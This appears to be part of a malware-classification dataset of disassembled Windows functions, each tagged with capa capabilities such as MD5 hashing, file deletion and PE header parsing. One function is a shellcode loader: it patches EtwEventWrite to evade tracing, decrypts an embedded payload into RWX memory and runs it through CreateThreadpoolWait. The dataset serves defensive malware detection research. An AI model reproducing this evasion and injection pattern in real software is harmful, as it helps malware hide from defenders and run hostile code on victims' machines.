joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140015080
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, rcx
mov rax, qword [0x14004c030]
xor rax, rsp
mov qword [rsp + 0x40], rax
lea rdi, [0x14004ea40]
mov rcx, rdi
call fcn.140023f00
test rax, rax
je 0x1400152ba
mov rbx, rax
movzx eax, word [rdi + rax*2 - 2]
cmp eax, 0x5c
je 0x1400152b2
cmp eax, 0x2f
je 0x1400152b2
mov rax, rbx
add rax, 2
lea r14, [rbx + rbx + 4]
mov rcx, 0xffffffffffffffff
cmovns rcx, r14
call fcn.1400152f8
mov rdi, rax
xor r15d, r15d
mov rcx, rax
xor edx, edx
mov r8, r14
call fcn.140016ea0
lea r8, [rbx + 1]
lea rdx, [0x14004ea40]
mov rcx, rdi
call fcn.1400243c8
mov rcx, rdi
call fcn.14002084c
mov dword [rsp + 0x28], 0
lea rcx, [rsp + 0x38]
mov qword [rcx], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1400152be
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov edx, 0x8003
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400152f1
add ebx, ebx
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov r8d, ebx
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400152f1
lea r9, [rsp + 0x2c]
mov dword [r9], 4
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], 0
lea r8, [rsp + 0x28]
mov edx, 4
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x1400152f1
lea r14, [rsp + 0x28]
mov r15d, dword [r14]
mov rcx, r15
call fcn.1400152f8
mov rbx, rax
mov rcx, rax
xor edx, edx
mov r8, r15
call fcn.140016ea0
mov rcx, qword [rsp + 0x30]
mov dword [rsp + 0x20], 0
mov edx, 2
mov r8, rbx
mov r9, r14
call qword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x1400152f1
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x14001521d
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x14001522f
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, rdi
call fcn.140015310
lea rdx, str.SOFTWAREMozillaMaintenanceService_
mov r8d, 0x104
mov rcx, rsi
call fcn.1400243c8
mov ebp, 1
cmp dword [rsp + 0x28], 0
je 0x14001528b
add rsi, 0x48
xor r14d, r14d
lea rdi, str._.2x
mov r15, qword [sym.imp.USER32.dll_wsprintfW]
movzx r8d, byte [rbx + r14]
mov rcx, rsi
mov rdx, rdi
call r15
add rsi, 4
inc r14
mov eax, dword [rsp + 0x28]
cmp r14, rax
jb 0x14001526d
mov rdi, rbx
mov rcx, rdi
call fcn.140015310
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140027fe0
mov eax, ebp
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
dec rbx
jmp 0x1400150d0
xor ebp, ebp
jmp 0x140015296
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x1400152f1
mov dword [rsp + 0x20], 0xf0000008
lea rcx, [rsp + 0x38]
xor edx, edx
xor r8d, r8d
mov r9d, 1
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x140015150
xor ebp, ebp
jmp 0x14001528e

Function at 0x14001bb0c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001bc3c
Function at 0x140020f04
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140020f24
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14001c740
or eax, 0xffffffff
jmp 0x140020f26
xor eax, eax
add rsp, 0x28
ret

Function at 0x140020f5c
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140020f7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14001c740
or eax, 0xffffffff
jmp 0x140020f7e
xor eax, eax
add rsp, 0x28
ret
Function at 0x140037050
Capabilities:
Create process on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x118
mov rdi, r9
mov rbx, rcx
mov rax, qword [0x14004c030]
xor rax, rsp
mov qword [rsp + 0x110], rax
lea rsi, [rsp + 0x78]
mov rcx, rsi
call fcn.14000b840
mov rsi, qword [rsi]
test rsi, rsi
je 0x1400371cf
lea r14, [rsp + 0x60]
mov dword [r14], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r12d, r12d
mov rcx, rax
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
test eax, eax
je 0x140037115
cmp dword [rsp + 0x60], 0
je 0x140037115
xor r12d, r12d
lea r15, [rsp + 0x80]
mov r8d, 0x90
mov rcx, r15
xor edx, edx
call fcn.140016ea0
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov edx, 9
mov r8, r15
mov r9d, 0x90
call qword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
test eax, eax
je 0x140037115
mov eax, dword [rsp + 0x90]
bt eax, 0xd
jae 0x140037115
shl eax, 0xd
and eax, 0x1000000
mov r12d, eax
xorps xmm0, xmm0
lea rax, [rsp + 0x80]
movaps xmmword [rax], xmm0
movaps xmmword [rax + 0x10], xmm0
movaps xmmword [rax + 0x50], xmm0
movaps xmmword [rax + 0x40], xmm0
movaps xmmword [rax + 0x30], xmm0
movaps xmmword [rax + 0x20], xmm0
xor ecx, ecx
mov qword [rax + 0x60], rcx
mov dword [rax], 0x68
lea rdx, str.winsta0Default
mov qword [rax + 0x10], rdx
mov qword [rsp + 0x70], rcx
movaps xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], rax
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ebx, eax
test eax, eax
je 0x1400371db
mov rcx, qword [rsp + 0x60]
test rdi, rdi
je 0x1400371d3
mov qword [rdi], rcx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.140015310
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.140027fe0
mov eax, ebx
add rsp, 0x118
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
xor ebx, ebx
jmp 0x1400371ac
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140037199
xor edi, edi
lea r14, [rsp + 0x58]
mov qword [r14], rdi
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], r14
mov dword [rsp + 0x28], 0
mov ecx, 0x1300
xor edx, edx
mov r8d, eax
mov r9d, 0x400
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov rax, qword [r14]
test rax, rax
lea rdx, [0x14004413e]
cmovne rdx, rax
call fcn.140037240
mov rcx, qword [r14]
test rcx, rcx
je 0x1400371a4
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x1400371a4
Function at 0x1400373e0
Capabilities:
Check if file exists
Enumerate files on windows

Disassembly:
push rsi
sub rsp, 0x280
mov rsi, rcx
mov rax, qword [0x14004c030]
xor rax, rsp
mov qword [rsp + 0x278], rax
mov rcx, qword [rcx]
cmp rcx, 0xffffffffffffffff
je 0x140037454
lea rdx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x140037486
lea rdx, [rsp + 0x54]
lea rsi, [0x14004fa60]
mov r8d, 0x105
mov rcx, rsi
call fcn.1400243c8
mov word [0x14004fc68], 0
mov rcx, qword [rsp + 0x278]
xor rcx, rsp
call fcn.140027fe0
mov rax, rsi
add rsp, 0x280
pop rsi
ret
lea rcx, [rsi + 8]
lea rdx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rsi], rax
cmp rax, 0xffffffffffffffff
jne 0x140037415
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call fcn.14001c700
cmp esi, 2
je 0x140037496
mov dword [rax], 9
jmp 0x14003749c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
je 0x14003749c
call fcn.14001c700
mov dword [rax], 2
xor esi, esi
jmp 0x140037438
Function at 0x1400376b0
Capabilities:
Read file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x58
mov rbx, r9
mov edi, r8d
mov r14, rdx
mov rax, qword [0x14004c030]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rdx, [0x140043fec]
call fcn.140020cdc
test rax, rax
je 0x14003772d
mov rsi, rax
mov rcx, rax
xor edx, edx
mov r8d, 2
call fcn.14001cb04
mov ebp, 6
test eax, eax
je 0x140037734
mov rcx, rsi
call fcn.14002215c
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140027fe0
mov eax, ebp
add rsp, 0x58
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov ebp, 6
jmp 0x14003770d
mov rcx, rsi
call fcn.14001d6f4
test eax, eax
jle 0x140037705
mov r12d, eax
lea rcx, [r12 + 1]
call fcn.1400152f8
mov r15, rax
mov rcx, rsi
xor edx, edx
xor r8d, r8d
call fcn.14001cb04
mov ebp, 6
test eax, eax
je 0x140037770
mov rcx, r15
call fcn.140015310
jmp 0x140037705
mov edx, 1
mov rcx, r15
mov r8, r12
mov r9, rsi
call fcn.14002284c
cmp rax, r12
jne 0x140037766
mov byte [r15 + r12], 0
lea r13, [rsp + 0x48]
mov qword [r13], r15
lea rcx, [0x1400403c0]
mov dword [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
mov rbp, rcx
mov rdx, r13
call fcn.140036fc0
test rax, rax
je 0x1400378b2
mov r12, rax
movzx eax, byte [rax]
cmp eax, 0x23
je 0x1400377d1
cmp eax, 0x3b
jne 0x1400377de
mov rcx, rbp
jmp 0x1400377ad
mov al, byte [r12 + 1]
inc r12
cmp al, 9
je 0x1400377d6
movzx ecx, al
cmp ecx, 0x20
je 0x1400377d6
mov qword [rsp + 0x40], r12
test al, al
je 0x1400377d1
cmp ecx, 0x5b
lea rdx, [rsp + 0x40]
jne 0x14003781f
inc r12
mov qword [rsp + 0x40], r12
lea rcx, [0x1400403c6]
call fcn.140036fc0
test rax, rax
jne 0x1400378c3
jmp 0x140037903
test byte [rsp + 0x20], 1
je 0x1400377d1
lea rcx, [0x1400403c8]
call fcn.140036fc0
test rax, rax
je 0x1400377d1
mov rcx, r14
mov rdx, r12
call fcn.140037910
test eax, eax
js 0x1400377d1
mov r12d, eax
cmp eax, edi
jae 0x1400377d1
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x38], rcx
call fcn.1400236b0
lea rcx, [rax + 1]
mov qword [rsp + 0x30], rcx
call fcn.1400152f8
mov qword [rsp + 0x28], rax
mov rcx, rax
xor edx, edx
mov r8, qword [rsp + 0x30]
call fcn.140016ea0
mov rax, qword [rsp + 0x28]
mov r12d, r12d
mov rcx, qword [rbx + r12*8]
mov qword [rbx + r12*8], rax
test rcx, rcx
je 0x14003789c
call fcn.140015310
mov rax, qword [rbx + r12*8]
mov rcx, rax
mov rdx, qword [rsp + 0x38]
call fcn.140023350
inc dword [rsp + 0x24]
jmp 0x1400377d1
xor eax, eax
cmp dword [rsp + 0x24], edi
setne al
lea ebp, [rax + rax*4]
jmp 0x140037766
lea rcx, [0x1400403c3]
lea rdx, [rsp + 0x40]
call fcn.140036fc0
test rax, rax
jne 0x140037903
mov rdx, qword [rsp + 0xc0]
mov rcx, r12
test rdx, rdx
jne 0x1400378f0
lea rdx, str.Strings
call fcn.140023230
test eax, eax
sete al
mov dword [rsp + 0x20], eax
jmp 0x1400377d1
mov dword [rsp + 0x20], 0
jmp 0x1400377d1
Function at 0x140085f60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140085faa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140085faa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140085faa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140085faa
cmp dword [rcx + 0x84], 0xe
jbe 0x140085faa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140085fac
xor al, al
add rsp, 0x28
ret

Function at 0x14008d78c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14008d588
Function at 0x140094dd8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140094e5f
mov rsi, rbx
cmp word [rax], bp
je 0x140094e1e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140094e08
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140094e04
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400917ac
mov rdi, rax
test rax, rax
je 0x140094e4c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14009b450
mov rbp, rdi
xor ecx, ecx
call fcn.14009077c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140097ccc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.140090b30
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x140097d6d
cmp ebx, dword [rsp + 0x30]
je 0x140097d66
test esi, esi
je 0x140097d66
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x140097d41
sub r8w, 0x61
cmp r8w, 0x19
ja 0x140097d4e
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x140097d2b
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x140097d52
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x140097d6f
mov eax, 1
jmp 0x140097d6f
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14009b1e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14009b208
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14009b208
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001662
Capabilities:
Allocate or change rwx memory
Execute shellcode via createthreadpoolwait
Execute shellcode via indirect call
Patch event tracing for windows function

Disassembly:
push rbp
mov eax, 0x17c60
call fcn.140002920
sub rsp, rax
lea rbp, [rsp + 0x80]
call dbg.__main
mov dword [rbp + 0x17bb4], 0
movabs rax, 0x466bd58d692b4365
movabs rdx, 0x1b891bf9b97575ce
mov qword [rbp + 0x17ba0], rax
mov qword [rbp + 0x17ba8], rdx
lea rax, [rbp - 0x60]
lea rdx, [0x140004030]
mov ecx, 0x17c00
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov dword [rbp + 0x17bdc], 0x17c00
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.EtwEventWrite
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x17bd0], rax
lea rdx, [rbp + 0x17bb4]
mov rax, qword [rbp + 0x17bd0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x17bd0]
mov r8d, 4
lea rdx, [0x140004018]
mov rcx, rax
call sym.memcpy
mov edx, dword [rbp + 0x17bb4]
lea rcx, [rbp + 0x17bb4]
mov rax, qword [rbp + 0x17bd0]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rcx, [rbp + 0x17ba0]
mov edx, dword [rbp + 0x17bdc]
lea rax, [rbp - 0x60]
mov r9d, 0x10
mov r8, rcx
mov rcx, rax
call sym.zaNdhtlf_char__unsigned_int__char__unsigned_long_long_
mov r9d, 0
mov r8d, 1
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x17bc8], rax
mov r9d, 0x10
lea r8, str.tUVXCVWiWudiEyf
mov edx, 0xc
lea rax, str.____67___
mov rcx, rax
call sym.ECVLQJFQaLp_char__int__char__unsigned_long_long_
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.____67___
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [0x14001f030], rax
mov rax, qword [0x14001f030]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x17c00
mov ecx, 0
call rax
mov qword [rbp + 0x17bc0], rax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x17bc0]
mov r8d, 0x17c00
mov rcx, rax
call sym.memmove
mov rax, qword [rbp + 0x17bc0]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateThreadpoolWait]
call rax
mov qword [rbp + 0x17bb8], rax
mov rdx, qword [rbp + 0x17bc8]
mov rax, qword [rbp + 0x17bb8]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadpoolWait]
call rax
mov rax, qword [rbp + 0x17bc8]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov eax, 0
add rsp, 0x17c60
pop rbp
ret
Function at 0x140001b80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001bf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001f0b4]
mov rbx, rcx
test esi, esi
jle 0x140001d20
mov rax, qword [0x14001f0b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001c3b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001cc5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001c20
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001d42
mov rax, qword [0x14001f0b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001f0b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d27
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001cbe
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001cd0
add dword [0x14001f0b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001f0b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001cbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001c48
mov rax, qword [0x14001f0b8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400022b0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001f120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001f100]
test rbx, rbx
je 0x14000230c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002303
test rsi, rsi
je 0x140002303
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400022e8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002520
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002538
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002540
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002550
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000259d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002594
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000259f
add rax, 0x28
cmp rax, r9
jne 0x140002580
xor eax, eax
ret

Function at 0x1400025a0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002630
mov rdx, qword [0x14001bfd0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000261e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000261e
cmp word [rax + 0x18], 0x20b
jne 0x14000261e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002630
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002609
add rbx, 0x28
cmp rbx, rdi
je 0x140002630
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002600
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002640
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001bfd0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002660
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002668
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002660
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400026bd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400026b4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002660
add rax, 0x28
cmp rax, r9
jne 0x1400026a0
xor eax, eax
ret

Function at 0x1400026c0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001bfd0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400026df
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400026e8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400026df
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140002700
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14001bfd0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002720
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002728
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002720
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002770
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002767
test rcx, rcx
je 0x140002720
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002758
xor eax, eax
ret

Function at 0x140002780
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14001bfd0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000279f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400027a8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400027c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14001bfd0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400027e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400027e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400027e0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x1400027e0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002834
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002840
add rdx, 0x28
cmp r9, rdx
jne 0x140002820
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002850
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14001bfd0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002872
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002880
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002872
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002872
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
